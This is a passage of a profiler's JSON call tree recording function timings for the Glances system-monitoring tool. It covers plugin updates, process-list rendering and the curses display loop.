0.0020021829986944795, \"l633\": 0.0020021829986944795},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002002,\"attributes\": {\"cSensorsPlugin\": 0.0020021829986944795, \"l619\": 0.0020021829986944795},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.016543,\"attributes\": {\"cFsPlugin\": 0.015009672002634034, \"l1278\": 0.0165426160019706, \"cWifiPlugin\": 0.0015329439993365668},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.016543,\"attributes\": {\"l1295\": 0.0165426160019706},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.015010,\"attributes\": {\"cFsPlugin\": 0.015009672002634034, \"l131\": 0.015009672002634034},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.015010,\"attributes\": {\"cFsPlugin\": 0.015009672002634034, \"l182\": 0.015009672002634034},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.015010,\"attributes\": {\"l630\": 0.002991316003317479, \"l631\": 0.012018355999316555},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002991,\"attributes\": {\"cForkProcess\": 0.002991316003317479, \"l121\": 0.002991316003317479},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002991,\"attributes\": {\"l281\": 0.002991316003317479},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002991,\"attributes\": {\"cPopen\": 0.002991316003317479, \"l20\": 0.002991316003317479},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002991,\"attributes\": {\"cPopen\": 0.002991316003317479, \"l70\": 0.002991316003317479},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002991,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.012018,\"attributes\": {\"cForkProcess\": 0.012018355999316555, \"l156\": 0.012018355999316555},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.012018,\"attributes\": {\"cPopen\": 0.012018355999316555, \"l41\": 0.012018355999316555},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.012018,\"attributes\": {\"l1165\": 0.012018355999316555},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.012018,\"attributes\": {\"cPollSelector\": 0.012018355999316555, \"l398\": 0.012018355999316555},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.012018,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005319,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.006699,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u000083\",\"time\": 0.001533,\"attributes\": {\"cWifiPlugin\": 0.0015329439993365668, \"l101\": 0.0015329439993365668},\"children\": [{\"identifier\": \"_get_wireless_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u0000114\",\"time\": 0.001533,\"attributes\": {\"cWifiPlugin\": 0.0015329439993365668, \"l119\": 0.0015329439993365668},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001533,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/mem/__init__.py\\u0000275\",\"time\": 0.001545,\"attributes\": {\"cMemPlugin\": 0.001544940001622308, \"l283\": 0.001544940001622308},\"children\": [{\"identifier\": \"get_alert_log\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000945\",\"time\": 0.001545,\"attributes\": {\"cMemPlugin\": 0.001544940001622308, \"l947\": 0.001544940001622308},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001545,\"attributes\": {\"cMemPlugin\": 0.001544940001622308, \"l857\": 0.001544940001622308},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001545,\"attributes\": {\"cMemPlugin\": 0.001544940001622308, \"l965\": 0.001544940001622308},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001545,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.063574,\"attributes\": {\"cGlancesCursesStandalone\": 2.0635740340003395, \"l1154\": 0.051912000999436714, \"l1169\": 1.0069787080064998, \"l1172\": 1.004683324994403},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.051912,\"attributes\": {\"cGlancesCursesStandalone\": 0.051912000999436714, \"l1135\": 0.051912000999436714},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.051912,\"attributes\": {\"cGlancesCursesStandalone\": 0.051912000999436714, \"l569\": 0.049910151996300556, \"l591\": 0.002001849003136158},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.049910,\"attributes\": {\"cGlancesCursesStandalone\": 0.049910151996300556, \"l545\": 0.049910151996300556},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.049910,\"attributes\": {\"cProgramlistPlugin\": 0.023910828000225592, \"l1101\": 0.049910151996300556, \"cProcesslistPlugin\": 0.025999323996074963},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.049910,\"attributes\": {\"cProgramlistPlugin\": 0.023910828000225592, \"l587\": 0.049910151996300556, \"cProcesslistPlugin\": 0.025999323996074963},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.049910,\"attributes\": {\"cProgramlistPlugin\": 0.023910828000225592, \"l538\": 0.04391555199254071, \"l544\": 0.001994791004108265, \"cProcesslistPlugin\": 0.025999323996074963, \"l539\": 0.0019997889976366423, \"l541\": 0.002000020002014935},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001914,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001914,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019980549986939877, \"l303\": 0.0019980549986939877},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000068001507316, \"l500\": 0.002000068001507316},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.002000,\"attributes\": {\"l51\": 0.002000068001507316},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020005740007036366, \"l361\": 0.0020005740007036366},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020005740007036366, \"l349\": 0.0020005740007036366},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020005059996037744, \"l500\": 0.0020005059996037744},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.002001,\"attributes\": {\"l51\": 0.0020005059996037744},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020024879995617084, \"l309\": 0.0020024879995617084},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.003999,\"attributes\": {\"cProgramlistPlugin\": 0.003999284002929926, \"l325\": 0.003999284002929926},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.003999,\"attributes\": {\"cProgramlistPlugin\": 0.003999284002929926, \"l857\": 0.0019999270007247105, \"l885\": 0.0019993570022052154},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.004001,\"attributes\": {\"cProgramlistPlugin\": 0.004000651999376714, \"l360\": 0.0020786789973499253, \"l361\": 0.0019219730020267889},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002079,\"attributes\": {\"cProgramlistPlugin\": 0.0020786789973499253, \"l341\": 0.0020786789973499253},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002079,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001922,\"attributes\": {\"cProgramlistPlugin\": 0.0019219730020267889, \"l350\": 0.0019219730020267889},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001922,\"attributes\": {\"cProgramlistPlugin\": 0.0019219730020267889, \"l1251\": 0.0019219730020267889},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001922,\"attributes\": {\"l459\": 0.0019219730020267889},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001922,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019993699970655143, \"l325\": 0.0019993699970655143},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019993699970655143, \"l885\": 0.0019993699970655143},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019993699970655143, \"l910\": 0.0019993699970655143},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999255000555422, \"l325\": 0.001999255000555422},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999255000555422, \"l882\": 0.001999255000555422},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999255000555422, \"l902\": 0.001999255000555422},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.001999,\"attributes\": {\"cGlancesThresholds\": 0.001999255000555422, \"l50\": 0.001999255000555422},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020008790015708655, \"l500\": 0.0020008790015708655},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.002001,\"attributes\": {\"l51\": 0.0020008790015708655},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999221000005491, \"l429\": 0.001999221000005491},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999221000005491, \"l280\": 0.001999221000005491},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999221000005491, \"l969\": 0.001999221000005491},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.00199980699835578, \"l405\": 0.00199980699835578},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001098000619095, \"l325\": 0.002001098000619095},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001098000619095, \"l857\": 0.002001098000619095},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001098000619095, \"l965\": 0.002001098000619095},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019991270019090734, \"l420\": 0.0019991270019090734},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000298998609651, \"l440\": 0.002000298998609651},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000298998609651, \"l290\": 0.002000298998609651},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000298998609651, \"l967\": 0.002000298998609651},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995569964521565, \"l361\": 0.0019995569964521565},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995569964521565, \"l350\": 0.0019995569964521565},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"list.extend\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__display_top\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000719\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001849003136158, \"l797\": 0.002001849003136158},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001849003136158, \"l1094\": 0.002001849003136158},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001849003136158, \"l1054\": 0.002001849003136158},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.102092,\"attributes\": {\"cGlancesCursesStandalone\": 0.10209215999930166, \"l291\": 0.10209215999930166},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.102092,\"attributes\": {\"cGlancesCursesStandalone\": 0.10209215999930166, \"l260\": 0.10209215999930166},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.102092,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.102092,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100504,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050444799708202, \"l1202\": 0.10050444799708202},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100504,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100504,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100575,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057458100345684, \"l291\": 0.10057458100345684},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100575,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057458100345684, \"l260\": 0.10057458100345684},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100575,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100575,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100320,\"attributes\": {\"cGlancesCursesStandalone\": 0.10031976299796952, \"l1202\": 0.10031976299796952},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100320,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100320,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100360,\"attributes\": {\"cGlancesCursesStandalone\": 0.10035985700233141, \"l291\": 0.10035985700233141},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100360,\"attributes\": {\"cGlancesCursesStandalone\": 0.10035985700233141, \"l260\": 0.10035985700233141},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100360,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100360,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100471,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047137799847405, \"l1202\": 0.10047137799847405},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100471,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100471,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100508,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050802399928216, \"l291\": 0.10050802399928216},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100508,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050802399928216, \"l260\": 0.10050802399928216},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100508,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100508,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100502,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050170699832961, \"l1202\": 0.10050170699832961},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100502,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100502,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100516,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051645799831022, \"l291\": 0.10051645799831022},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100516,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051645799831022, \"l260\": 0.10051645799831022},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100516,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100516,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100558,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055774300417397, \"l1202\": 0.10055774300417397},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100558,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100558,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100658,\"attributes\": {\"cGlancesCursesStandalone\": 0.10065809400111903, \"l291\": 0.10065809400111903},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100658,\"attributes\": {\"cGlancesCursesStandalone\": 0.10065809400111903, \"l260\": 0.10065809400111903},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100658,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100658,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100346,\"attributes\": {\"cGlancesCursesStandalone\": 0.10034606699628057, \"l1202\": 0.10034606699628057},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100346,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100346,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100554,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055394400114892, \"l291\": 0.10055394400114892},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100554,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055394400114892, \"l260\": 0.10055394400114892},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100554,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100554,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100496,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004959609999787, \"l1202\": 0.1004959609999787},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100496,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100496,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100648,\"attributes\": {\"cGlancesCursesStandalone\": 0.10064757100190036, \"l291\": 0.10064757100190036},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100648,\"attributes\": {\"cGlancesCursesStandalone\": 0.10064757100190036, \"l260\": 0.10064757100190036},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100648,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100648,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100559,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055864999594633, \"l1202\": 